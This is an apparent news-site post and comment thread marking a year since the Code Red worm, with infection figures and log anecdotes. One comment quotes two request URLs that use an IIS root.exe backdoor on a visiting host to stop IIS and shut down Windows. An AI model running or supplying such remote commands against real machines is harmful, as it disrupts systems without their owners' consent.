Happy Birthday Code Red

totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."

Comments

I still have my fake default.ida

[Anonymous Coward]

Back when code red started causing havoc to IIS web servers, a group came out with a nice perl script that would shut down IIS, as well as the OS. Since IIS was wide open at this point, it would send ..

http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+iis re set+/stop
http://$ENV{REMOTE_ADDR}/scripts/root.e xe?/c+rundl l32.exe+shell32.dll,SHExitWindowsEx+5

Re:Happy Birthday?

[yatest5]

What exactly are we supposed to celebrate?

Nothing really, it's just a sad lame excuse for the /. editors to troll all the standard 'MS is hit, IIS is shit' responses.

NEWS FOR NERDS - 'one year ago, this happened' - LAME AS FUCK.